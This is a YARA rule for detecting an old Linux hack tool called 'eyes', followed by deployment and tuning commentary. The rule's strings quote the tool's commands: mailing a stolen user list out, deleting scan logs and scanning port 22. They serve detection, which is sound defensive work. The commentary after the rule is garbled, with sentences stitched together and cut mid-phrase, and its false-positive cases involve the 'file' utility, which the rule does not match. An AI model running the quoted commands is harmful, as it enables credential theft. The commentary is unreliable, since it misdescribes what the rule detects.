This rule detects adversaries utilizing standard Linux forensics and hacking utilities to gather system intelligence or establish persistence within the environment. Proactive hunting for these tool executions is essential in Azure Sentinel to distinguish legitimate administrative activity from stealthy reconnaissance that often evades traditional alerting due to its low-severity classification.
rule LinuxHacktool_eyes_a {
meta:
description = "Linux hack tools - file a"
author = "Florian Roth"
reference = "not set"
date = "2015/01/19"
hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
strings:
$s0 = "cat trueusers.txt | mail -s \"eyes\" [email protected]" fullword ascii
$s1 = "mv scan.log bios.txt" fullword ascii
$s2 = "rm -rf bios.txt" fullword ascii
$s3 = "echo -e \"# by Eyes.\"" fullword ascii
$s4 = "././pscan2 $1 22" fullword ascii
$s10 = "echo \"#cautam...\"" fullword ascii
condition:
2 of them
}
This YARA rule can be deployed in the following contexts:
This rule contains 6 string patterns in its detection logic.
Scheduled System Health Checks via file
file /usr/bin/* or similar commands, triggering the detection rule as it scans executable attributes.compliance-bot) and the command line contains specific paths like /var/log/compliance/. Alternatively, add an exclusion for cron jobs running between 02:00 and 04:00 UTC.Post-Patch Verification by DevOps Engineers
file <binary_name> on newly updated libraries (e.g., /lib/x86_64-linux-gnu/libssl.so) to confirm the architecture and file type before promoting changes to production. This manual verification mimics reconnaissance behavior often associated with hack tools.devops-admin group during known maintenance windows (e.g., Tuesday/Wednesday mornings). Additionally, filter out events where the command duration is under 5 seconds and targets standard library paths.Automated Backup Integrity Scans
file utility to validate the integrity of archived database dumps before compression. The script iterates through a large directory of .sql or .tar.gz files, invoking file on each item to ensure correct formatting prior to archival.rsync, tar, or a custom Python wrapper named backup-validator) and the target file extension matches